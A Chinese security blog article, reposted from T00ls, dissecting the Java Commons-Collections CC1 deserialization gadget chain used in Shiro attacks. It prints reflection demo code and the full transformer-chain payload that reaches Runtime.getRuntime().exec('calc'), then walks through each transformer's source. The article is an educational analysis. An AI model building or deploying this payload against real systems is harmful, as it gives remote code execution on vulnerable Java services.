文章总结: 文档详细解析了Java反序列化漏洞中CC1链的构造与执行过程。通过反射机制演示了如何调用私有方法和字段,并结合ShiroPayload案例分析了ChainedTransformer链路原理。核心要点包括:1)Transformer链的级联执行机制;2)TransformedMap装饰器触发漏洞的关键点;3)利用ConstantTransformer和InvokerTransformer实现Runtime命令执行。文章强调必须使用JVM已加载类构造恶意链路,提出在反序列化恢复对象时通过字节流写入恶意参数的攻击手法,最后建议开发者应严格校验反序列化数据源并禁用高危类加载。 综合评分: 86 文章分类: 漏洞分析,反序列化,WEB安全,Java安全,威胁情报
CC1 链深度拆解:反序列化利用链是如何一步步执行的
原创
Qiufen Qiufen
T00ls安全
2026年9月1日 17:52 山西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
通过反射机制可以调用加载到jvm里面的类的私有函数
反射机制调用 ≈ new xxx(),然后再 invoke 调用具体函数
下面是三种反射机制的代码 demo
Hello.java
public class Hello {
// 私有变量
private String name = “私有字段”;
// 无参构造函数
public Hello() {}
// 有参构造函数
public Hello(String name) {
this.name = name;
}
// 普通函数
public void sayHello() {
System.out.println(
“Hello, ” + name + “!”);
}
// 私有函数
private void secret(){
System.out.println(“私有方法”);
}
}
ReflectMain.java
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectMain {
public static void main(String[] args)
throws Exception {
// 1. 获取 Class 对象
// (三种方式都列出来,用任意一种)
// 常用:全类名字符串
Class<?> clazz = Class.forName(“Hello”);
// 编译期已知
// Class
// 已有对象
// Class<?> clazz = new Hello().getClass();
// 2. 创建对象:先拿构造器再 newInstance()
// 无参构造
Constructor<?> cons =
clazz.getDeclaredConstructor(String.class);
// 等价 new Hello(“Reflect”)
Object obj = cons.newInstance(“Reflect”);
// 3. 调用 public 方法
Method say =
clazz.getDeclaredMethod(“sayHello”);
// obj.sayHello()
say.invoke(obj);
// 4. 访问私有字段
Field field = clazz.getDeclaredField(“name”);
// 打破封装
field.setAccessible(true);
field.set(obj, “Java”);
// 再次调用,看到值已变
say.invoke(obj);
// 5. 调用私有方法
Method secret =
clazz.getDeclaredMethod(“secret”);
secret.setAccessible(true);
// 调用 private secret()
secret.invoke(obj);
}
}
Shiro Payload 分析
payload 加密编码后进入到程序最终还是会还原成当前代码,直接分析即可
Payload.java
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”,
new Class[]{String.class, Class[].class},
new Object[]{“getRuntime”, new Class[0]}),
new InvokerTransformer(“invoke”,
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(“exec”,
new Class[]{String.class},
new Object[]{“calc”})
};
Transformer transformerChain =
new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(
innerMap, null, transformerChain);
Class<?> clazz = Class.forName(
“sun.reflect.annotation.”
+ “AnnotationInvocationHandler”);
Constructor<?> ctor =
clazz.getDeclaredConstructor(
Class.class, Map.class);
ctor.setAccessible(true);
Object payload =
ctor.newInstance(Target.class, outerMap);
分三个步骤:
1、编写若干个转换器组成数组 transformers
2、将这些转换器组成的数组 transformers 打包成一条链路 transformerChain,ChainedTransformer() 的作用就是将多个小转换器串成一条链路,前一个转换器的输出是下一个转换器的输入,最终返回最后一个转换器的结果
3、通过反射机制拿到 sun.reflect.annotation.``AnnotationInvocationHandler 并传入参数 outerMap
重点:java 反序列化时,payload 的各个参数、字段值会以字节流形式还原成对象的字段值,所以在反序列化后恢复对象,此时各个点位的参数、字段都是你写入的恶意参数和字段(例如上面的转换器数组链路 transformerChain,Map 等这些),payload代码本身是不执行的,即使你自己写恶意函数,恶意类也不会进入到 jvm 中,jvm 只有程序运行时就已经加载的 class,所以我们只能利用 jvm 中已存在的 class,然后相当于以字节流形式写入恶意参数、字段提前占位,从而在反序列化完成后,程序去处理的对象就变成我们写入的恶意参数和值了
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
参数详细介绍
map 类型:Map
被装饰的原始 Map(就是真正的数据容器,TransformedMap 只是一个代理壳)。 以后所有读写最终都会落到这个 map 上。
keyTransformer 类型:Transformer
键转换器。每当调用 put(k,v) 或 putAll 时,先把 k 交给这个 transformer,用返回的新 key 真正落表。 传 null 表示”不转换键”。
valueTransformer 类型:Transformer
值转换器。同样,put 时先把 v 交给它,用返回的新 value 真正落表;get 时也会把查到的值先过一遍它再返回。 传 null 表示”不转换值”。
触发点:
1、反序列化完成后 readObject() 会遍历 memberValues,因为我们通过二进制提前将恶意参数写入了字节流,所以此时的 memberValues 值就是 outerMap
2、然后遍历我们传入的 outerMap =``TransformedMap.decorate(``innerMap, null,``transformerChain) ,因为 org.apache.commons.``collections.map.``TransformedMap 的特性——不管是 put 还是 get 都会把查到的值先过一遍它再返回(详细看上面表格介绍),这里的”过一遍”就是 Transformer.``transform(value) ,然后每个值都 new xxx 格式,由此就触发了运行
3、第一个运行的转换器 new ConstantTransformer(``Runtime.class),得到:Runtime.class,代码如下:
ConstantTransformer.java
public class ConstantTransformer
implements Transformer {
private final Object iConstant;
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iConstant = Runtime.class
public ConstantTransformer(Object constant) {
iConstant = constant;
}
// 2、构成链路时需要检查每个值的时候,就是
// new ConstantTransformer.transform(xxx),
// 此时传入的值只是一个占位的随机值
// (组装阶段传入),会触发下面函数,
// 从而返回 iConstant = Runtime.class
public Object transform(Object input) {
return iConstant;
}
}
第二个运行的转换器 new InvokerTransformer("getMethod",``new Class[]{String.class, Class[].class},``new Object[]{"getRuntime", new Class[0]}),得到:,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = getMethod
private final String iMethodName;
// 1、iParamTypes =
// new Class[]{String.class, Class[].class}
private final Class[] iParamTypes;
// 1、iArgs =
// new Object[]{“getRuntime”, new Class[0]}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(
// Runtime.class),此时传入值为第一个的
// 返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// input 已经是 class 对象了,
// 再次 getClass 就变成了
// Class 类的 class 对象,即:Class.class
Class<?> cls = input.getClass();
// iMethodName = getMethod
// iParamTypes =
// new Class[]{String.class, Class[].class}
// 需要找到名为 getMethod 的方法,
// 且需要传入两个参数,
// 第一个位String类型,
// 第二个位Class[] 类型
Method method =
cls.getMethod(iMethodName, iParamTypes);
// invoke 传入参数 Runtime.class 和
// new Object[]{“getRuntime”,
// new Class[0]} 并执行方法返回,
// 方法具体内容看下面代码
// 把 new Object[]{“getRuntime”,
// new Class[0]} 当成数组实参传进去,
// 反射机制会按元素拆包,
// 于是数组里2个元素分别对应:
// getRuntime、new Class[0]
// 返回 Runtime.getRuntime()
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
第三个运行的转换器 new InvokerTransformer("invoke",``new Class[]{Object.class, Object[].class},``new Object[]{null, new Object[0]}),都是调用同一个类,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = invoke
private final String iMethodName;
// 1、iParamTypes =
// new Class[]{Object.class, Object[].class}
private final Class[] iParamTypes;
// 1、iArgs = new Object[]{null, new Object[0]}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(),
// 此时传入值为第二个的返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// 获取Runtime.getRuntime()的类对象
Class<?> cls = input.getClass();
// Method 类里找 invoke 方法,
// 然后固定两个参数:Object.class
Method method =
cls.getMethod(iMethodName, iParamTypes);
// 这里执行并返回,
// 返回的内容是 Runtime 的对象
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
第四个运行的转换器 new InvokerTransformer("exec",``new Class[]{String.class},``new Object[]{"calc"}),都是调用同一个类,代码如下:
InvokerTransformer.java
public class InvokerTransformer
implements Transformer {
// 1、编写转换器数组时,会先触发构造函数,
// 此时 iMethodName = exec
private final String iMethodName;
// 1、iParamTypes = new Class[]{String.class}
private final Class[] iParamTypes;
// 1、iArgs = new Object[]{“calc”}
private final Object[] iArgs;
public InvokerTransformer(String methodName,
Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
// 2、构成链路时需要检查每个值的时候,就是
// new InvokerTransformer.transform(),
// 此时传入值为第三个的返回值,会触发下面函数
public Object transform(Object input)
throws TransformerException {
try {
// 拿 Runtime 对象的类对象
Class<?> cls = input.getClass();
// 找 Runtime 对象的 exec 方法,
// 且规定传参,类型为:String.class
Method method =
cls.getMethod(iMethodName, iParamTypes);
// 执行方法,且传入参数:calc
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new TransformerException(e);
}
}
}
最终就是通过反射机制 Method.invoke 调用并执行方法:Runtime.getRuntime().``exec("calc") —> 弹计算机
总结回顾
整条链路的调用过程可以浓缩为一条线:
readObject() → AnnotationInvocationHandler → TransformedMap → ChainedTransformer → ConstantTransformer → InvokerTransformer(getMethod) → InvokerTransformer(invoke) → InvokerTransformer(exec) → Runtime.getRuntime().exec(“calc”)
反序列化利用链的核心不是在于”执行恶意代码”,而在于通过字节流提前写入恶意参数占位。反序列化完成后,JVM 里已有的合法类处理了这些参数,最后一步步走到命令执行
理解了这个机制,再看其他利用链(CC2-CC7、URLDNS 等),本质上都是在寻找不同的入口类和调用路径
原文链接
https://www.t00ls.com/articles-75225.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:T00ls安全 Qiufen Qiufen《CC1 链深度拆解:反序列化利用链是如何一步步执行的》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论